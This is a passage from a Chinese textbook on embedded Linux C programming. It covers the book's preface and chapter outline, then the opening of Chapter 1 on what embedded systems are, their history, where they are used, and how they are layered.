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光盘内容



前言

嵌入式系统是现在最热门的计算机应用领域之一，嵌入式Linux是应用最广泛的嵌入式操作系统之一，Linux已经广泛应用于政府、军队、金融等行业中。C语言作为一种当前使用非常广泛的高级程序设计语言，具有简单易用、跨平台、可移植性好的特点。Linux的内核就是使用C语言开发的，它在Linux编程开发中具有重要的作用。

本书从嵌入式系统基础概念讲起，介绍在Linux系统中使用C语言编程的有关知识，通过本书的学习，读者可以快速学会Linux下C语言编程，掌握其中的编程方法和技巧，从而实现Linux环境下C语言编程的入门和提高。


 本书特点

本书主要有以下特点。

1.内容细致，结构合理

本书从嵌入式系统的基础知识开始，按照嵌入式LinuxC语言从入门到提高到应用的顺序进行讲解，循序渐进，是从事嵌入式系统设计者的一本难得的培训教材和参考资料。

2.内容深入浅出，易读易学

遵循了嵌入式系统开发过程的一般规律，通过本书的学习，读者能够快速地学会Linux下C语言编程，掌握其中的方法和编程技巧，并能从一开始就养成良好的编程习惯，以便于读者低起点、高效率地掌握Linux环境下的编程知识。

3.技术全面，内容充实

本书所讲的内容在保证实用的前提下，详细介绍了嵌入式LinuxC语言各个方面的知识，包括C语言、Vi、GDB、GCC、Emacs、Linux环境下GUI开发、嵌入式Linux设备驱动开发、文件操作、进程控制、线程控制等相关知识。

4.实例丰富，注重实战

本书精选了若干个典型实例，通过这些实践和应用环节，让读者真实地进行设计和操作，给读者以更大的学习与发挥空间。

5.代码完整，讲解详尽

书中的每个知识点都有相应的实例代码，并对关键的代码部分进行了注释说明。每段代码的后面都有详细的分析，并给出了代码的运行结果。读者可以参照运行结果阅读源程序，以便于加深理解。


主要内容

本书分为4篇，共20章，各章的主要内容如下。

第一篇　开发基础

第1章：本章从嵌入式系统基础知识入手，介绍嵌入式系统的发展历史、嵌入式系统的特点及其应用、ARM处理器的特点及其应用、嵌入式系统的基本开发流程、嵌入式Linux软件需求分析与架构设计等。

第2章：介绍Linux下的C语言开发环境、嵌入式LinuxC语言开发流程、嵌入式LinuxC语言开发工具以及嵌入式Linux的基本使用，嵌入式Linux中程序的运行原理等内容。

第3章：详细讲解如何构建嵌入式Linux系统，构建嵌入式系统交叉编译环境，掌握Boot-loader的作用及其使用，了解Linux内核目录结构、文件系统管理等。

第二篇　基础编程

第4章：本章是Linux下C语言编程的基础，首先介绍嵌入式Linux编辑器Vi的基本模式和基本操作，接下来介绍嵌入式Linux编译器GCC的编译流程分析、编译选项分析和使用库函数，然后通过实例介绍嵌入式Linux调试器GDB的的使用、make工程管理器的使用和Emacs综合编辑器的使用。

第5章：首先介绍C语言程序的基本结构，然后介绍C语言中的一些基本概念，如变量、标识符等，同时详细说明C语言中的几种基本数据类型、算术运算符、关系运算将、逻辑运算符以及利用这些运算符来构成相应表达式的一些规则。

第6章：介绍C语言字符输入函数getchar()、格式输入函数scanf()、字符输出函数putchar()、格式输出函数printf()的使用，为使用C语言进行程序设计打下基础。

第7章：介绍结构化程序的三种基本结构：顺序结构、选择结构和循环结构，介绍C语言程序中的语句和复合语句的概念，介绍C语言中的if语句、条件运算符、switch语句，介绍C语言中用于循环控制的while循环语句、do-while循环语句、for循环语句、break语句和continue语句、goto语句、逗号运算符和空操作语句。

第8章：介绍一维数组的定义和引用、一维数组元素的初始化，二维数组的定义和引用、二维数组元素的初始化以及介绍字符数组、字符串和字符串结束标志。

第9章：介绍C语言的函数和编译预处理，包括C语言中函数的定义和函数的使用及分类、函数的定义和调用、函数的参数及其传递方式、函数的嵌套调用和递归调用、变量的作用域及其存储类型以及宏定义、文件包含处理和条件编译等编译预处理内容。

第10章：介绍C语言程序的存储区域，包括代码段、只读数据段、已初始化数据段、未初始化数据段、栈区和堆区，以及C语言中的动态内存。介绍C程序中栈和堆的应用，并且从申请方式、申请后的响应、申请大小、申请效率、存储内容和存储效率上对堆内存和栈内存进行比较。

第11章：首先介绍指针的概念、变量的指针和指向变量的指针变量、数组的指针和指向数组的指针变量、字符串的指针和指向字符串的指针变量等内容，接下来介绍回调函数的概念与作用、回调函数的语法、回调函数的使用，最后介绍结构体类型变量、结构体数组、指向结构体类型数据的指针、用指针处理链表以及共同体的概念、定义方式、引用方式和数据特点等内容。

第12章：讨论LinuxC语言嵌入汇编语言的编程，以及相应的移植性问题。首先介绍C和汇编的接口、内嵌汇编的语法、memory描述符、GCC对内嵌汇编语言的处理方式等，接下来介绍嵌入式Linux可移植性问题。

第三篇　高级编程

第13章：首先介绍嵌入式图形用户界面的基本概念及其特点，然后介绍Linux下的几种主流GUI，包括MiniGUI、Qt/Embedded、MicroWindows、OpenGUI和GTK+。最后介绍基于GTK+的图形界面编程，包括GTK+的安装、GTK+程序的初始化与退出、GTK+预定义的函数和数据类型、回调函数、GTK+的事件处理、使用GTK+实现HelloWorld、编译GTK+程序、在GTK+中使用控件等内容。

第14章：介绍Linux设备驱动程序的相关知识，包括Linux设备驱动程序与内核的关系、设备驱动程序与内核的接口、Linux内核驱动原理、内核模块作用等。然后介绍设备驱动程序开发基础，最后介绍Linux操作系统的字符设备、块设备和网络设备3种驱动程序。

第15章：介绍Linux下的文件结构和文件操作，包括文件的创建、打开、关闭、读写、删除以及文件的属性和目录操作、文件系统的制作等内容。

第16章：介绍Linux进程的基本概念、Linux进程调度、进程的内存映像，介绍创建进程、创建守护进程、进程退出、获得进程ID、改变进程的优先级、执行新程序、等待进程结束以及进程间通信的主要方法（包括管道、有名管道、消息队列、信号量、共享内存等）。

第17章：介绍Linux线程的概念、线程和进程的关系、线程分类、创建线程、线程属性、线程等待和终止、私有数据、线程同步以及软件开发时出现的错误码和出错处理相关函数。

第四篇　综合实例

第18章：基于嵌入式网络防御体系的设计，使读者通过实例加深对C语言在嵌入式系统中的应用的理解。首先介绍了嵌入式系统设计的基本思路以及流程，使读者对软、硬件开发有一个总体的认识。然后对所要设计的系统进行软件和硬件方面的需求分析。接下来介绍在此实例可能会遇到的Bug，调试过程，交叉编译环境的搭建、μCLinux在嵌入式系统中的移植、程序的编写等。

第19章：本章针对视频监控系统的实际需求，结合嵌入式技术、图像处理技术和网络技术，设计并实现了一种实时性好、可靠性高、成本低的嵌入式视频采集和传输系统。主要内容包括硬件平台概述、S3C2410介绍、视频采集的软件结构、视频采集的系统程序、视频采集系统应用程序等。

第20章：介绍在Linux环境下架构嵌入式指纹识别系统，介绍自动指纹识别技术的基本概念、研究意义和应用等内容，介绍指纹特征、指纹提取方法、指纹图像增强的方法、指纹特征的提取、指纹图像匹配、指纹识别系统的性能参数等，介绍系统硬件结构、Linux操作系统移植、系统软件设计等。


读者对象

·嵌入式系统开发人员、嵌入式软件开发与测试人员

·高等院校计算机相关专业学生


本书光盘

·书中全部实例文件

·开发过程录像文件

·常用芯片及元器件

·常用学习交流网址

使用方法：如果光盘没有自动播放，用左键双击光盘图标进入光盘内容页面，再用左键双击"index"文件即可进入光盘首页。

本书第1～2章、第5～9章、第15～17章由陈立伟编写，第3～4章、第10～12章由王桐编写，第13～14章、第18～20章由杨蕾编写，参与代码调试和资料整理的老师还有李超、倪杰、李丹仪、宋一兵、管殿柱、赵景波、付本国、张轩、赵景伟、赵秋玲、张忠林、王献红、王臣业、张洪信等。由于水平有限以及时间仓促，书中难免存在错误之处，敬请读者批评指正。

感谢您选择了本书，希望我们的努力对您的工作和学习有所帮助，也希望您把对本书的意见和建议告诉我们。

作者联系方式：gdz_zero@126.com

编辑联系方式：sdl@hzbook.com

作者
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第一篇　开发基础


 第1章　嵌入式系统基础知识

本章要点：

嵌入式系统概述

嵌入式系统的组成

嵌入式系统开发


 1.1　嵌入式系统概述

本节首先给出嵌入式系统的定义，介绍常见的嵌入式产品，然后对嵌入式系统的特点进行归纳总结，接下来介绍嵌入式系统的发展历史和应用领域。


 1.1.1　嵌入式系统的定义

关于嵌入式系统（Embedded System），IEEE给出的定义是：用于控制、监视或者辅助操作机器和设备的装置。另外一种人们普遍认可的定义是：嵌入式系统是以应用为中心、以计算机技术为基础、软件硬件可裁剪，对功能、可靠性、成本、体积、功耗有严格要求的嵌入到对象体系中的专用计算机系统。嵌入式系统是软件和硬件的综合体，还可以包含一些复杂的装置。“嵌入性”、“专用性”与“计算机系统”是嵌入式系统的三个基本要素。常见的嵌入式操作系统有Linux、Windows CE、Palm、Symbian和μC/OS-Ⅱ等。每一种操作系统都有自己的特点和优势，应用于不同的领域。随着嵌入式操作系统及嵌入式处理技术的发展，嵌入式操作系统已经广泛地被应用于大量以嵌入式处理器为硬件基础的系统中，嵌入式产品存在于人们生活的各个方面，包括消费产品、通信产品、医疗设备、军事装备等。图1-1是生活中常见的嵌入式产品。

[image: ]


图　1-1　常见的嵌入式产品


1.1.2　嵌入式系统的特点

从某种意义上来说，通用计算机行业的技术是垄断的。嵌入式系统则不同，嵌入式系统工业是不可垄断的高度分散的工业，充满了竞争、机遇与创新，没有哪一个系列的处理器和操作系统能够垄断全部市场。即便在体系结构上存在着主流，但各不相同的应用领域决定了不可能由少数公司、少数产品垄断全部市场。因此，嵌入式系统领域的产品和技术必然是高度分散的，留给各个行业高新技术公司的创新余地很大。另外，社会上的各个应用领域是不断向前发展的，要求其中的嵌入式处理器核心也同步发展，这也构成了推动嵌入式工业发展的强大动力。嵌入式系统工业的基础是以应用为中心的芯片设计和面向应用的软件产品开发。相比于通用型计算机系统，嵌入式系统主要具有以下特点。

·嵌入式系统融合了多种技术，包括计算机技术、半导体技术以及电子技术等，它是一个技术密集、资金密集、高度分散、不断创新的知识集成系统。通用计算机行业中，占整个计算机行业90%的个人电脑产业，绝大部分采用的是Intel的x86体系结构，而芯片厂商则集中在Intel、AMD、Cyrix等几家公司，操作系统方面更是被微软占据垄断地位。但这样的情况却不会在嵌入式系统领域出现。这是一个分散的，充满竞争、机遇与创新的工业，没有哪个公司的操作系统和处理器能够垄断市场。

·嵌入式系统通常是面向用户、面向产品、面向特定应用的，其专用性很强，不能独立于应用自行发展。嵌入式系统中的CPU与通用型CPU的最大不同就是前者大多工作在为特定用户群设计的系统中。通常，嵌入式系统CPU都具有低功耗、体积小、集成度高等特点，能够把通用CPU中许多由板卡完成的任务集成在芯片内部，从而有利于整个系统设计趋于小型化。在嵌入式系统中硬件和软件结合非常紧密，需要针对用户的具体需求对系统进行合理配置，达到理想性能。与此同时，系统设计还受市场供求关系的影响。嵌入式处理器的发展也体现出稳定性，一个体系一般要存在8～10年的时间。一个体系结构及相关的片上外设、开发工具、库函数、嵌入式应用产品合在一起，可以构成一套复杂的知识系统。

·嵌入式系统和具体应用有机地结合在一起，软硬件需进行高效设计，其升级换代也是和具体产品同步进行的。因此嵌入式系统产品一旦进入市场，就具有较长的生命周期。

·嵌入式系统的系统内核较小，其应用一般是小型电子装置，成本低、体积小、功耗低、可靠性高，运行速度和存储容量上有一定的限制。另外，环境温度的影响也不容忽视。

·为了提高执行速度和系统可靠性，嵌入式系统中的程序一般都固化在存储器芯片或单片机中，而不是存贮于磁盘等载体中。由于嵌入式系统的运算速度和存储容量仍然存在一定程度的限制，另外，由于大部分嵌入式系统必须具有较高的实时性，因此对程序的质量，特别是可靠性，有着较高的要求。

·嵌入式系统需要开发工具和开发环境，用户在设计完成以后可以借助开发工具和开发环境修改其中的程序功能。开发时往往有主机和目标机的概念，主机用于程序的开发，目标机作为最后的执行机，开发时需要交替结合进行。

·嵌入式处理器的应用软件是实现嵌入式系统功能的关键，对嵌入式处理器系统软件和应用软件的要求也和通用计算机有所不同。为了提高执行速度和系统可靠性，软件要求固态化存储，以提高速度，软件代码要求高质量、高可靠性，系统软件要具有高实时性。

·通用计算机的开发人员通常是计算机科学或者计算机工程方面的专业人士，而嵌入式系统开发人员却往往是各个应用领域中的专家，这就要求嵌入式系统所支持的开发工具易学、易用、可靠、高效。


1.1.3　嵌入式系统的发展历史

嵌入式系统于20世纪70年代起源于微型机时代，近几年网络、通信和多媒体技术的发展为嵌入式系统的应用开辟了广阔的天地。嵌入式系统经过独立发展的单片机时代，至今已经有30多年的历史了，伴随着硬件和软件的交替发展，嵌入式技术的发展可以划分为以下几个阶段。

1.始于微型机时代的嵌入式应用

数字计算机诞生于1946年，在其后漫长的历史进程中，计算机始终是供养在特殊的机房中，实现数值计算的大型昂贵设备。直到20世纪70年代微处理器的出现，计算机才有了历史性的变化。1971年11月Intel公司成功地把算术运算器和控制器电路集成在一起，推出第一款微处理器Intel 4004。以微处理器为核心的微型计算机具有体积小、功耗低、结构简单、可靠性高、使用方便、性能价格比高等一系列优点，使其迅速走出机房、获得广泛的应用。微型机表现出的智能化水平引起了控制专业人士的兴趣，要求将微型机嵌入到一个对象体系中，实现对象体系的智能化控制。以微处理器为核心的系统广泛应用于仪器仪表、家用电器、医疗设备等领域。这样一来，计算机便失去了原来的形态与通用的计算机功能。为了区别于原有的通用计算机系统，把嵌入到对象体系中、实现对象体系智能化控制的计算机称作嵌入式计算机系统。因此，嵌入式系统诞生于微型机时代，嵌入式系统的嵌入性本质是将一个计算机嵌入到一个对象体系中去，这些是理解嵌入式系统的基本出发点。

2.现代计算机技术的两大分支

由于嵌入式计算机系统要嵌入到对象体系中，实现的是对象的智能化控制，因此，它有着与通用计算机系统完全不同的技术要求与技术发展方向。

通用计算机系统的技术要求是高速、海量的数值计算；技术发展方向是总线速度的无限提升，存储容量的无限扩大。而嵌入式计算机系统的技术要求则是对象的智能化控制能力；技术发展方向是与对象系统密切相关的嵌入性能、控制能力与控制的可靠性。

早期，人们将通用计算机系统进行改装，在大型设备中实现嵌入式应用。然而，对于众多的对象系统，如家用电器、仪器仪表、工控单元等，无法嵌入通用计算机系统，而且嵌入式系统与通用计算机系统的技术发展方向完全不同，因此，必须独立地发展通用计算机系统与嵌入式计算机系统，这就形成了现代计算机技术发展的两大分支，即通用计算机系统与嵌入式计算机系统。

通用计算机系统与嵌入式计算机系统的专业化分工发展，导致20世纪末、21世纪初计算机技术的飞速发展。计算机专业领域集中精力发展通用计算机系统的软、硬件技术，不必兼顾嵌入式应用要求，通用微处理器迅速从286、386、486发展到奔腾系列；操作系统则迅速扩张计算机基于高速海量的数据文件处理能力，使通用计算机系统进入到高速发展的阶段。

嵌入式计算机系统则走上了一条完全不同的道路，这条独立发展的道路就是单芯片化道路。它的发展首先是以芯片为核心的可编程控制器形式的系统，然后是以嵌入式CPU为基础、以简单操作系统为核心的嵌入式系统，最后是以嵌入式操作系统为标志的嵌入式系统。

3.单片机技术的发展

嵌入式系统虽然起源于微型计算机时代，然而，微型计算机的体积、价位、可靠性都无法满足广大对象系统的嵌入式应用要求，因此，嵌入式系统必须走独立发展的道路。这条道路就是芯片化道路。将计算机做在一个芯片上，从而开创了嵌入式系统独立发展的单片机时代。单片机就是把组成微型计算机中央处理器、存储器、输入输出接口电路、定时器/计数器等各个部件制作在一块集成电路芯片中，构成的一个完整微型计算机。单片机的出现，使得汽车、家电、工业机器、通信装置以及成千上万种产品可以通过内嵌电子装置来获得更佳的使用性能。

单片机的发展经历了SCM、MCU、SoC三大阶段。

（1）SCM（Single Chip Microcomputer）阶段

该阶段主要是寻求最佳的单片形态嵌入式系统的最佳体系结构。SCM与通用计算机具有完全不同的发展道路。在开创嵌入式系统独立发展的道路上，Intel公司功不可没，在1971年首次推出4004的4位单片微处理器。1974年12月Fairchild公司推出8位单片机F8（需另加一块3851芯片），其后，Mostek公司和Fairchild公司一起推出了与F8兼容的3870单片机系列。

（2）MCU（Micro Controller Unit）阶段

MCU将ROM、RAM、CPU、I/O集合在同一个芯片中，为不同的应用场合做不同的组合控制。该阶段主要的技术发展方向是：不断扩展满足嵌入式应用时对象系统要求的各种外围电路与接口电路，突显其对象的智能化控制能力。它所涉及的领域都与对象系统相关，因此，发展MCU的重任不可避免地落在电气、电子技术厂家身上。在发展MCU方面，最著名的厂家是Philips公司，Philips公司以其在嵌入式应用方面的巨大优势，将MCS-51从单片微型计算机迅速发展到微控制器。

（3）SoC（System on a Chip）阶段

SoC设计技术始于20世纪90年代中期，随着半导体工艺技术的发展，集成电路（IC）设计者能够将越来越复杂的功能集成到单硅片上，SoC正是在集成电路向集成系统（IS）转变的大方向下产生的，它是集成电路发展的必然趋势。SoC可以有效地降低电子系统产品的开发成本，缩短开发周期。SoC的技术特点体现在它是半导体工艺技术的系统集成，也是软件系统和硬件系统的集成。

4.嵌入式系统的两种应用模式

嵌入式系统的嵌入式应用特点决定了它的多学科交叉特点。作为计算机的内含，要求计算机领域人员介入其体系结构、软件技术、工程应用方面的研究。然而，了解对象系统的控制要求，实现系统控制模式必须具备对象领域的专业知识。因此，从嵌入式系统发展的历史过程，以及嵌入式应用的多样性中，可以了解到客观上形成的两种应用模式。

嵌入式计算机系统起源于微型机时代，但很快就进入到独立发展的单片机时代。在单片机时代，嵌入式系统以器件形态迅速进入到传统电子技术领域中，以电子技术应用工程师为主体，实现传统电子系统的智能化，而计算机专业队伍并没有真正进入单片机应用领域。因此，电子技术应用工程师以自己习惯的电子技术应用模式，从事单片机的应用开发。这种应用模式最重要的特点是：软、硬件的底层性和随意性；对象系统专业技术的密切相关性；缺少计算机工程设计方法。

虽然在单片机时代，计算机专业淡出了嵌入式系统领域，但随着后PC时代的到来，网络、通信和多媒体技术得以发展；同时，嵌入式系统软、硬件技术有了很大的提升，计算机专业人士开始进入嵌入式应用领域。计算机专业人士的介入，使形成的计算机应用模式带有明显的计算机的工程应用特点，即基于嵌入式系统软、硬件平台，以网络、通信为主的非嵌入式底层应用，许多嵌入式应用程序就是在计算机上先进行验证，然后移植到嵌入式设备上的。

由于嵌入式系统最大、最广、最底层的应用是传统电子技术领域的智能化改造，因此，以通晓对象专业的电子技术队伍为主，用最少的嵌入式系统软、硬件开销，以8位机为主，带有浓重的电子系统设计色彩的电子系统应用模式会长期存在下去。另外，计算机专业人士会越来越多地介入嵌入式系统应用，但限于对象专业知识的隔阂，其应用领域会集中在网络、通信、多媒体、商务电子等方面，不可能替代原来电子工程师在控制、仪器仪表、机械电子等方面的嵌入式应用。因此，客观存在的两种应用模式会长期并存下去，在不同的领域中相互补充。电子系统设计模式应从计算机应用设计模式中学习计算机工程方法和嵌入式系统软件技术；计算机应用设计模式应从电子系统设计模式中了解嵌入式系统应用的电路系统特性、基本的外围电路设计方法和对象系统的基本要求等。

5.嵌入式系统应用的高低端

由于嵌入式系统有过很长的一段单片机的独立发展道路，大多是基于8位单片机，实现最底层的嵌入式系统应用，带有明显的电子系统设计模式特点。大多数从事单片机应用开发的人员，都是对象系统领域中的电子系统工程师，加之单片机的出现，立即脱离了计算机专业领域，以“智能化”器件身份进入电子系统领域，没有带入“嵌入式系统”概念。因此，不少从事单片机应用的人，不了解单片机与嵌入式系统的关系，在谈到“嵌入式系统”领域时，往往理解成计算机专业领域的，基于32位嵌入式处理器，从事网络、通信、多媒体等的应用。这样，“单片机”与“嵌入式系统”形成了嵌入式系统中常见的两个独立的名词。但由于“单片机”是典型的、独立发展起来的嵌入式系统，从学科建设的角度出发，应该把它统一成“嵌入式系统”。考虑到原来单片机的电子系统底层应用特点，可以把嵌入式系统应用分成高端与低端，把原来的单片机应用理解成嵌入式系统的低端应用，表现它的底层性以及与对象系统的紧耦合。


1.1.4　嵌入式系统的应用领域

嵌入式系统种类繁多，广泛应用于消费类电子产品、兵器工业、计算机外围、智能家电、智能玩具、交通、金融、国防等国民经济的各个领域。如自动控制领域的工业自动化仪表与检测设备，化工过程的自动化设备，电网系统，自动抄表设备，空中交通控制系统，自动收费，航天器姿态与轨道定位装置，移动电话，自动柜员机（ATM），IC卡，销售终端（POS），全球定位系统（GPS），手持电脑（HPC），个人数字处理（PDA），信息家电，In-ternet接入终端设备等。

（1）工业控制

利用嵌入式产品和技术，如可编程控制器、数字机床、电力系统、电网安全、电网设备监测、工业机器人等可以对工业生产过程中的生产流程加以控制，从而提高生产效率和产品质量，减少人力资源。

（2）军事电子设备和现代武器

嵌入式系统在军事上的应用体现在军事侦察、指挥控制自动化、后勤保障现代化、战场系统网络化等方面。如各种武器控制、舰艇、坦克、轰炸机等陆海空军用电子装备，雷达、电子对抗军事通信装备，野战指挥作战用各种专用设备等。

（3）网络通信设备

网络通信设备中，嵌入式系统发挥了重要的作用，机顶盒、路由器、调制解调器等都是嵌入式应用系统。

（4）交通管理

在车辆导航、流量控制、信息监测与汽车服务方面，嵌入式系统技术已经获得了广泛的应用，内嵌GPS模块、GSM模块的移动定位终端已经在各种运输行业获得了成功的使用。目前GPS设备已经从尖端产品进入了普通百姓的家庭，只需要几千元就可以随时随地找到你的位置。

（5）安全系统

嵌入式系统可以应用在煤矿安全监控系统、车载远程监控系统、机车安全监控系统、铁路平交道口自动报警系统等方面。

（6）商用

各类收款机、电子秤、条形码阅读机、POS系统、点钞机、IC卡输入设备、自动柜员机、各种银行专业外围设备等。

（7）智能家电

冰箱、空调等的网络化、智能化将引领人们的生活步入一个崭新的空间。即使你不在家里，也可以通过电话线、网络进行远程控制。还可以实现对家用电、水、煤气表远程抄表。在这些设备中，嵌入式系统将大有用武之地。

（8）消费电子

包括数字电视机机顶盒、录像机、数码相机、DVD、手机、掌上电脑、家庭网络设备等具有强大的网络和多媒体处理能力的设备。


1.1.5　嵌入式系统与PC之间的区别

嵌入式系统一般指非PC系统，有计算机功能但又不称之为计算机的设备或器材。它是以应用为中心，软硬件可裁减的，适应应用系统对功能、可靠性、成本、体积、功耗等综合性严格要求的专用计算机系统。嵌入式系统集系统的应用软件与硬件于一体，具有软件代码小、高度自动化、响应速度快等特点，特别适合于要求实时和多任务的体系。

PC（个人计算机）一词源自于1978年IBM的第一部桌上型计算机型号PC，它是指能独立运行、完成特定功能的个人计算机。个人计算机不需要共享其他计算机的处理、磁盘和打印机等资源也可以独立工作。今天，PC一词则泛指所有的个人计算机，如桌上型计算机、笔记型计算机、或是兼容于IBM系统的个人计算机等。嵌入式系统与PC之间的区别如表1-1所示。
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1.2　嵌入式系统的组成

与普通的计算机系统一样，嵌入式系统也是由硬件和软件两大部分组成。前者是整个系统的物理基础，它提供软件运行平台和通信（包括人机交互）接口；后者实际控制系统的运行。硬件包括处理器/微处理器、存储器以及外设器件和I/O端口、图形控制器等。软件部分包括系统软件和应用软件两部分，系统软件控制着应用程序与硬件的交互，应用软件控制着系统的运作和功能。一个嵌入式系统的基本组成如图1-2所示。
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图　1-2　嵌入式系统的基本组成

下面对嵌入式系统的组成进行介绍。

1.硬件层

硬件层中包含嵌入式微处理器、存储器（SDRAM、ROM、Flash等）、通用设备接口和I/O接口（A/D、D/A、I/O等）。在一片嵌入式处理器基础上添加电源电路、时钟电路和存储器电路，就构成了一个嵌入式核心控制模块。其中操作系统和应用程序都可以固化在ROM中。

（1）嵌入式微处理器

嵌入式系统硬件层的核心是嵌入式微处理器，嵌入式微处理器与通用CPU最大的不同在于嵌入式微处理器大多工作在为特定用户群所专用设计的系统中，它将通用CPU许多由板卡完成的任务集成在芯片内部，从而有利于嵌入式系统在设计时趋于小型化，同时还具有很高的效率和可靠性。

嵌入式微处理器的体系结构可以采用冯·诺依曼体系或哈佛体系结构；指令系统可以选用精简指令系统（Reduced Instruction Set Computer,RISC）和复杂指令系统（Complex In-struction Set Computer,CISC）。CISC计算机在通道中只包含最有用的指令，确保数据通道快速执行每一条指令，从而提高了执行效率并使CPU硬件结构设计变得更为简单。

嵌入式微处理器有各种不同的体系，即使在同一体系中也可能具有不同的时钟频率和数据总线宽度，或集成了不同的外设和接口。据不完全统计，目前全世界嵌入式微处理器已经超过1000多种，体系结构有30多个系列，其中主流的体系有ARM、MIPS、PowerPC、x86和SH等。但与全球PC市场不同的是，没有一种嵌入式微处理器可以主导市场，仅以32位的产品而言，就有100种以上的嵌入式微处理器。嵌入式微处理器的选择是根据具体的应用而决定的，设计者在选择时要考虑处理性能、技术指标、功耗、软件支持工具、是否内置调试工具、供应商是否提供评估板等因素。

（2）存储器

嵌入式系统需要存储器来存放和执行代码。嵌入式系统的存储器包含Cache、主存和辅助存储器。

Cache是一种容量小、速度快的存储器阵列，它位于主存和嵌入式微处理器内核之间，存放的是最近一段时间微处理器使用最多的程序代码和数据。在需要进行数据读取操作时，微处理器尽可能地从Cache中读取数据，而不是从主存中读取，这样就大大改善了系统的性能，提高了微处理器和主存之间的数据传输速率。Cache的主要目标就是：减小存储器（如主存和辅助存储器）给微处理器内核造成的存储器访问瓶颈，使处理速度更快，实时性更强。

在嵌入式系统中，Cache全部集成在嵌入式微处理器内，可分为数据Cache、指令Cache和混合Cache,Cache的大小依不同处理器而定。一般中、高档的嵌入式微处理器才会把Cache集成进去。

主存是嵌入式微处理器能直接访问的寄存器，用来存放系统和用户的程序及数据。它可以位于微处理器的内部或外部，其容量为256KB～1GB，根据具体的应用而定，一般片内存储器容量小、速度快，片外存储器容量大。

常用作主存的存储器有：

·ROM类　NOR Flash、EPROM和PROM等。

·RAM类　SRAM、DRAM和SDRAM等。

其中，NOR Flash凭借其可擦写次数多、存储速度快、存储容量大、价格便宜等优点，在嵌入式领域内得到了广泛应用。

辅助存储器用来存放大数据量的程序代码或信息，它的容量大，但读取速度与主存相比慢很多，用来长期保存用户的信息。

嵌入式系统中常用的外存有：硬盘、NAND Flash、CF卡、MMC和SD卡等。

（3）通用设备接口和I/O接口

嵌入式系统和外界交互需要一定形式的通用设备接口，如A/D、D/A、I/O等，外设通过和片外其他设备的或传感器的连接来实现微处理器的输入/输出功能。每个外设通常都只有单一的功能，它可以在芯片外也可以内置于芯片中。外设的种类很多，包括从一个简单的串行通信设备到非常复杂的802.11无线设备。

目前，嵌入式系统中常用的通用设备接口有A/D（模/数转换接口）、D/A（数/模转换接口），I/O接口有RS-232接口（串行通信接口）、Ethernet（以太网接口）、USB（通用串行总线接口）、音频接口、VGA视频输出接口、I2
 C（现场总线）、SPI（串行外围设备接口）和IrDA（红外线接口）等。

2.中间层

硬件层与软件层之间为中间层，也称为硬件抽象层（Hardware Abstract Layer,HAL）或板级支持包（Board Support Package,BSP），板级支持包主要用来处理底层硬件相关的信息，如驱动程序，加载实时操作系统等。根据BSP层提供的接口即可进行开发。该层一般包含相关底层硬件的初始化、数据的输入/输出操作和硬件设备的配置功能。BSP具有以下两个特点。

·硬件相关性：因为嵌入式实时系统的硬件环境具有应用相关性，而作为上层软件与硬件平台之间的接口，BSP需要为操作系统提供操作和控制具体硬件的方法。

·操作系统相关性：不同的操作系统具有各自的软件层次结构，因此，不同的操作系统具有特定的硬件接口形式。

实际上，BSP是一个介于操作系统和底层硬件之间的软件层次，包括了系统中大部分与硬件联系紧密的软件模块。设计一个完整的BSP需要完成两部分工作：嵌入式系统的硬件初始化以及BSP功能，设计与硬件相关的设备驱动。

（1）嵌入式系统硬件初始化

系统初始化过程可以分为3个主要环节，按照自底向上、从硬件到软件的次序依次为：片级初始化、板级初始化和系统级初始化。

·片级初始化：完成嵌入式微处理器的初始化，包括设置嵌入式微处理器的核心寄存器和控制寄存器、嵌入式微处理器核心工作模式和嵌入式微处理器的局部总线模式等。片级初始化把嵌入式微处理器从上电时的默认状态逐步设置成系统所要求的工作状态。这是一个纯硬件的初始化过程。

·板级初始化：完成嵌入式微处理器以外的其他硬件设备的初始化。另外，还需设置某些软件的数据结构和参数，为随后的系统级初始化和应用程序的运行建立硬件和软件环境。这是一个同时包含软硬件两部分在内的初始化过程。

·系统初始化：该初始化过程以软件初始化为主，主要进行操作系统的初始化。BSP将对嵌入式微处理器的控制权转交给嵌入式操作系统，由操作系统完成余下的初始化操作，包含加载和初始化与硬件无关的设备驱动程序，建立系统内存区，加载并初始化其他系统软件模块，如网络系统、文件系统等。最后，操作系统创建应用程序环境，并将控制权交给应用程序的入口。

（2）与硬件相关的设备驱动程序

BSP的另一个主要功能是设计与硬件相关的设备驱动。与硬件相关的设备驱动程序的初始化通常是一个从高到低的过程。尽管BSP中包含与硬件相关的设备驱动程序，但是这些设备驱动程序通常不直接由BSP使用，而是在系统初始化过程中由BSP将它们与操作系统中通用的设备驱动程序关联起来，并在随后的应用中由通用的设备驱动程序调用，实现对硬件设备的操作。与硬件相关的驱动程序是BSP设计与开发中的另一个非常关键的环节。

3.系统软件层

系统软件层由实时操作系统（Real Time Operating System,RTOS）、文件系统、图形用户接口（Graphic User Interface,GUI）、网络系统及通用组件模块组成。RTOS是嵌入式应用软件的基础和开发平台。

嵌入式操作系统（Embedded Operating System,EOS）是一种用途广泛的系统软件，过去它主要应用于工业控制和国防系统领域。EOS负责嵌入系统的全部软、硬件资源的分配、任务调度，控制、协调并发活动。它必须体现其所在系统的特征，能够通过装卸某些模块来达到系统所要求的功能。目前，已推出一些应用比较成功的EOS产品系列。随着Internet技术的发展、信息家电的普及应用及EOS的微型化和专业化，EOS开始从单一的弱功能向高专业化的强功能方向发展。嵌入式操作系统在系统实时高效性、硬件的相关依赖性、软件固化以及应用的专用性等方面具有较为突出的特点。

4.应用层

当嵌入式系统的其他部分确定以后，嵌入式应用程序决定了系统具体实现的功能。在通用计算机系统中，应用程序一方面完成自己的功能，一方面调用系统的功能。系统调用一般是由操作系统来提供的。

嵌入式系统硬件的主要特点是集成度高、非标准化、接口复杂。


1.3　典型的嵌入式操作系统

可以把嵌入式系统分为简单嵌入式系统和复杂嵌入式系统，以及可以移植嵌入式操作系统。简单嵌入式系统，如以单片机、DSP为微处理器的系统，系统软硬件复杂度很低。复杂嵌入式系统，如以ARM、SoC为核心，32位以上的微处理系统，速度快，外围接口能力强。可以移植嵌入式操作系统就是目前所用的实时嵌入式系统。实时嵌入式操作系统的种类繁多，大体上可以分为商用型和免费型两种。

1.商用型嵌入式实时操作系统

商用型的实时操作系统功能稳定、可靠，有完善的技术支持和售后服务，但往往价格昂贵。

·Palm：著名的网络设备制造商3COM的子公司Palm Computing（掌上电脑公司）的产品，主要用于PDA，市场占有率较大。

